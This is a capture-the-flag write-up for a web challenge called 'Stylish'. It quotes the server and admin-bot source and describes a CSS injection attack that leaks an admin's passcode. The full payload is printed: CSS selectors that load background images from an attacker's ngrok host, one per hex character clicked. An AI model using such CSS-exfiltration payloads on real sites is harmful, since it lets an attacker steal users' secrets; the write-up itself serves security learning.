Stylish is the one of the hardest challenges at the website and it give us 400 points.
Organizers give us URL to website and server source code files.
Ok so as we can see at website we have got 4 color inputs serialized with JSON and send by GET parameter. By clicking "Submit for review" button we can send them to admin.
But second important thing in our website is "Get flag" button.
Our goal in this CTF is steal admin secret code to the flag.
export default function generatePasscode() {
const chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
for (let i = 0; i < chars.length - 1; i++) {
let temp = chars[i];
let j = Math.floor(Math.random() * (chars.length - i)) + i;
chars[i] = chars[j];
chars[j] = temp;
}
return chars.join("");
}
Password is generated from 16 hexadecimal character in random order.
app.post("/submit", async (req, res) => {
try {
const {bg, fg, bbg, bfg} = req.body;
if (typeof bg !== "string") return res.status(400).type("txt").send("bg must be a string");
if (typeof fg !== "string") return res.status(400).type("txt").send("fg must be a string");
if (typeof bbg !== "string") return res.status(400).type("txt").send("bbg must be a string");
if (typeof bfg !== "string") return res.status(400).type("txt").send("bfg must be a string");
const encoded = encodeURIComponent(JSON.stringify({ bg, fg, bbg, bfg }));
if (encoded.length > 2000) return res.status(400).type("txt").send("Theme permalink too long (>2000 chars)");
await visit('http://localhost:1337/#${encoded}', passcode);
res.type("txt");
res.send("The admin has checked out your theme!");
} catch (e) {
console.error(e.stack);
res.sendStatus(500);
}
});
await page.goto(url, {waitUntil: "load", timeout: 1000});
await page.click("#get-flag");
await page.waitForSelector(".e");
for (let i \= 0; i < passcode.length; i++) {
const char \= passcode.charAt(i);
const id \= "button" + Math.floor(Math.random() \* 123456);
await page.evaluate(\`
document.querySelectorAll(".e > button").forEach(button => {
if (button.innerText === "${char}") {
button.id = "${id}";
}
})
`);
await page.click(\`#${id}\`);
await timeout(50);
}
await page.click(".s");
await timeout(1000);
By looking at the source code we can see that CSS sent by user isn't verified at all (except checking if it is string but it's not problem at all) so we can easily inject own CSS style. After setting our CSS style admin sets id (always beginning at "button") to button which creates randomly generated passcode and click them.
- Send to admin CSS which will try to load background from website hosted on our PC. According on which button have been clicked it will be try to download file with button number. For example if clicked button will be "F" it will try to load img from www.my_website.com/F, if clicked button will be "4" it will try to download www.my_website.com/4.
- Listen on server img requests.
- Login for flag with obtained numbers.
red;}
button:nth-child(1)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/0")}
button:nth-child(2)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/1")}
button:nth-child(3)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/2")}
button:nth-child(4)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/3")}
button:nth-child(5)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/4")}
button:nth-child(6)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/5")}
button:nth-child(7)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/6")}
button:nth-child(8)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/7")}
button:nth-child(9)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/8")}
button:nth-child(10)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/9")}
button:nth-child(11)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/A")}
button:nth-child(12)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/B")}
button:nth-child(13)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/C")}
button:nth-child(14)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/D")}
button:nth-child(15)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/E")}
button:nth-child(16)[id^="b"]{background:url("http://7dcf938e36aa.ngrok.io/F")}
Unfortunately my exploit doesn't catch one number (zero) so I had to brute force his position :(